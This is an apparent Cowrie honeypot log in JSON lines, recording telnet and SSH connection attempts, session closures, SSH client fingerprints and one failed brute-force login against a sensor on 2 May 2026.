{"eventid":"cowrie.session.closed","duration":31.684779405593872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:19.482517Z","src_ip":"62.210.97.77","session":"85875187ec72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9ac2437f1e","protocol":"telnet","message":"New connection: 38.54.119.93:39394 (10.17.0.5:23) [session: cd9ac2437f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:20.603514Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47328,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db22307c73f","protocol":"telnet","message":"New connection: 62.210.97.77:47328 (10.17.0.5:23) [session: 5db22307c73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:20.844581Z"}
{"eventid":"cowrie.session.closed","duration":32.59411144256592,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:20.992799Z","src_ip":"62.210.97.77","session":"23a18959c16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1580855846405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:21.355648Z","src_ip":"62.210.97.77","session":"2a8432e0594c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6043e72b541c","protocol":"telnet","message":"New connection: 62.210.97.77:47332 (10.17.0.5:23) [session: 6043e72b541c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:23.355389Z"}
{"eventid":"cowrie.session.closed","duration":37.863330125808716,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:23.411242Z","src_ip":"62.210.97.77","session":"e62fe36d9b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47334,"dst_ip":"10.17.0.5","dst_port":23,"session":"990c9918a140","protocol":"telnet","message":"New connection: 62.210.97.77:47334 (10.17.0.5:23) [session: 990c9918a140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:23.810527Z"}
{"eventid":"cowrie.session.closed","duration":48.464404344558716,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:24.799859Z","src_ip":"165.232.131.181","session":"683d7c22ce76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999966144561768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:25.483969Z","src_ip":"62.210.97.77","session":"dec0ee7c4af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9494686126709,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:26.646549Z","src_ip":"62.210.97.77","session":"44bf857b19c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.268383979797363,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:26.871746Z","src_ip":"38.54.119.93","session":"cd9ac2437f1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7da13f415c5","protocol":"telnet","message":"New connection: 62.210.97.77:35406 (10.17.0.5:23) [session: f7da13f415c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:29.191065Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35416,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a156c987d12","protocol":"telnet","message":"New connection: 62.210.97.77:35416 (10.17.0.5:23) [session: 5a156c987d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:29.327120Z"}
{"eventid":"cowrie.session.closed","duration":34.9086709022522,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:30.310317Z","src_ip":"62.210.97.77","session":"a2b4d4729c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39454,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdb0c127461","protocol":"telnet","message":"New connection: 65.60.27.33:39454 (10.17.0.5:23) [session: acdb0c127461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:30.520572Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41eb17ccfcd","protocol":"telnet","message":"New connection: 65.60.27.33:40536 (10.17.0.5:23) [session: d41eb17ccfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:31.316354Z"}
{"eventid":"cowrie.session.closed","duration":33.06789588928223,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:32.837028Z","src_ip":"62.210.97.77","session":"639659dc8680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35418,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0642ea1c861","protocol":"telnet","message":"New connection: 62.210.97.77:35418 (10.17.0.5:23) [session: f0642ea1c861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:33.183372Z"}
{"eventid":"cowrie.session.closed","duration":36.62662434577942,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:34.326531Z","src_ip":"65.60.27.33","session":"60e1e26f6493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ef2272232c","protocol":"telnet","message":"New connection: 38.54.119.93:49420 (10.17.0.5:23) [session: a8ef2272232c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:35.024621Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35428,"dst_ip":"10.17.0.5","dst_port":23,"session":"973ad4fde971","protocol":"telnet","message":"New connection: 62.210.97.77:35428 (10.17.0.5:23) [session: 973ad4fde971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:35.943550Z"}
{"eventid":"cowrie.session.closed","duration":6.168673753738403,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:36.689055Z","src_ip":"65.60.27.33","session":"acdb0c127461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":39278,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c975ab38e3","protocol":"ssh","message":"New connection: 45.78.198.206:39278 (10.17.0.5:22) [session: 42c975ab38e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:36.731703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:36.736632Z","src_ip":"45.78.198.206","session":"42c975ab38e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:36.985775Z","src_ip":"45.78.198.206","session":"42c975ab38e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.37274503707886,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:37.641441Z","src_ip":"65.60.27.33","session":"51168f3b48b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42478942871094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:37.948514Z","src_ip":"62.210.97.77","session":"7344083566cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa1fa41b38f","protocol":"telnet","message":"New connection: 165.232.131.181:56634 (10.17.0.5:23) [session: 4fa1fa41b38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:38.170706Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b5cb7f5b288","protocol":"telnet","message":"New connection: 134.209.8.29:44650 (159.203.135.109:23) [session: 8b5cb7f5b288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:38.211614Z"}
{"eventid":"cowrie.session.closed","duration":31.273582458496094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:39.557976Z","src_ip":"62.210.97.77","session":"fde58e5e99a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01603293418884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:40.277393Z","src_ip":"62.210.97.77","session":"7c1d10e7bf1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2881e47ed96f","protocol":"telnet","message":"New connection: 62.210.97.77:58750 (10.17.0.5:23) [session: 2881e47ed96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:40.953250Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f15ab8b3d96","protocol":"telnet","message":"New connection: 38.54.119.93:54692 (10.17.0.5:23) [session: 2f15ab8b3d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:42.309644Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:42.737251Z","src_ip":"45.78.198.206","session":"42c975ab38e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":49028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba2f778119a","protocol":"ssh","message":"New connection: 156.232.13.218:49028 (10.17.0.5:22) [session: 6ba2f778119a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:42.902203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:42.911423Z","src_ip":"156.232.13.218","session":"6ba2f778119a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:42.984592Z","src_ip":"156.232.13.218","session":"6ba2f778119a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user11","message":"login attempt [user/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:43.307528Z","src_ip":"156.232.13.218","session":"6ba2f778119a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.999298334121704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:43.606900Z","src_ip":"62.210.97.77","session":"a4c02f7603ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55038,"dst_ip":"10.17.0.5","dst_port":23,"session":"8596b48a10e2","protocol":"telnet","message":"New connection: 65.60.27.33:55038 (10.17.0.5:23) [session: 8596b48a10e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:44.058987Z"}
{"eventid":"cowrie.session.closed","duration":40.26153206825256,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:44.261215Z","src_ip":"165.232.131.181","session":"b8bab28951de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:44.381393Z","src_ip":"156.232.13.218","session":"6ba2f778119a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce233bf0003a","protocol":"telnet","message":"New connection: 134.209.8.29:46078 (159.203.135.109:23) [session: ce233bf0003a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:44.480328Z"}
{"eventid":"cowrie.session.closed","duration":32.75368070602417,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:46.305568Z","src_ip":"62.210.97.77","session":"3ef0c217f356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58760,"dst_ip":"10.17.0.5","dst_port":23,"session":"0560dd75ad87","protocol":"telnet","message":"New connection: 62.210.97.77:58760 (10.17.0.5:23) [session: 0560dd75ad87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:46.573561Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60128,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90276a1d956","protocol":"telnet","message":"New connection: 165.232.131.181:60128 (10.17.0.5:23) [session: a90276a1d956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:47.280398Z"}
{"eventid":"cowrie.session.closed","duration":40.747286796569824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:48.503894Z","src_ip":"65.60.27.33","session":"b7eb7b90d519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1fc29f92453","protocol":"telnet","message":"New connection: 65.60.27.33:60600 (10.17.0.5:23) [session: b1fc29f92453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:48.984451Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33036,"dst_ip":"10.17.0.5","dst_port":23,"session":"738aa860efec","protocol":"telnet","message":"New connection: 62.210.97.77:33036 (10.17.0.5:23) [session: 738aa860efec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:49.253578Z"}
{"eventid":"cowrie.session.closed","duration":35.3757848739624,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:49.836101Z","src_ip":"62.210.97.77","session":"574e0e26e074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33038,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d45ddd77785","protocol":"telnet","message":"New connection: 62.210.97.77:33038 (10.17.0.5:23) [session: 6d45ddd77785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:50.024369Z"}
{"eventid":"cowrie.session.closed","duration":36.766194581985474,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:50.329156Z","src_ip":"62.210.97.77","session":"2ffc769cc546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62709426879883,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:50.451008Z","src_ip":"65.60.27.33","session":"d031d2a55fed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8428845405578613,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:51.123175Z","src_ip":"165.232.131.181","session":"a90276a1d956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9077570438385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:51.699616Z","src_ip":"62.210.97.77","session":"06da1cc12200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.75179195404053,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:51.736473Z","src_ip":"165.232.131.181","session":"44854dde6f1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.18189191818237,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:52.936289Z","src_ip":"65.60.27.33","session":"e6bfee05d871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33040,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a112d1740f","protocol":"telnet","message":"New connection: 62.210.97.77:33040 (10.17.0.5:23) [session: 86a112d1740f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:53.184467Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35024,"dst_ip":"10.17.0.5","dst_port":23,"session":"baad182c0659","protocol":"telnet","message":"New connection: 165.232.131.181:35024 (10.17.0.5:23) [session: baad182c0659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:53.250846Z"}
{"eventid":"cowrie.session.closed","duration":38.69860291481018,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:54.485596Z","src_ip":"62.210.97.77","session":"eff77bcc6958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27641248703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:54.631683Z","src_ip":"62.210.97.77","session":"6043e72b541c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.25975847244263,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:55.018541Z","src_ip":"65.60.27.33","session":"a5dbe7d14799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33056,"dst_ip":"10.17.0.5","dst_port":23,"session":"4504610a98b2","protocol":"telnet","message":"New connection: 62.210.97.77:33056 (10.17.0.5:23) [session: 4504610a98b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:55.600487Z"}
{"eventid":"cowrie.session.closed","duration":35.63817811012268,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:56.482545Z","src_ip":"62.210.97.77","session":"5db22307c73f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33058,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0a7d70e4cd","protocol":"telnet","message":"New connection: 62.210.97.77:33058 (10.17.0.5:23) [session: 6f0a7d70e4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:56.867385Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6964fb06b528","protocol":"telnet","message":"New connection: 65.60.27.33:41198 (10.17.0.5:23) [session: 6964fb06b528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:57.039681Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3f81a3a9b5","protocol":"telnet","message":"New connection: 62.210.97.77:33060 (10.17.0.5:23) [session: df3f81a3a9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:57.862336Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a92feb9c53f","protocol":"telnet","message":"New connection: 62.210.97.77:37796 (10.17.0.5:23) [session: 5a92feb9c53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:59.348814Z"}
{"eventid":"cowrie.session.closed","duration":44.92080855369568,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:00.132455Z","src_ip":"65.60.27.33","session":"05afef503a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37800,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdafe0fb69a5","protocol":"telnet","message":"New connection: 62.210.97.77:37800 (10.17.0.5:23) [session: bdafe0fb69a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:00.461064Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37804,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc521c122e5e","protocol":"telnet","message":"New connection: 62.210.97.77:37804 (10.17.0.5:23) [session: dc521c122e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:00.756882Z"}
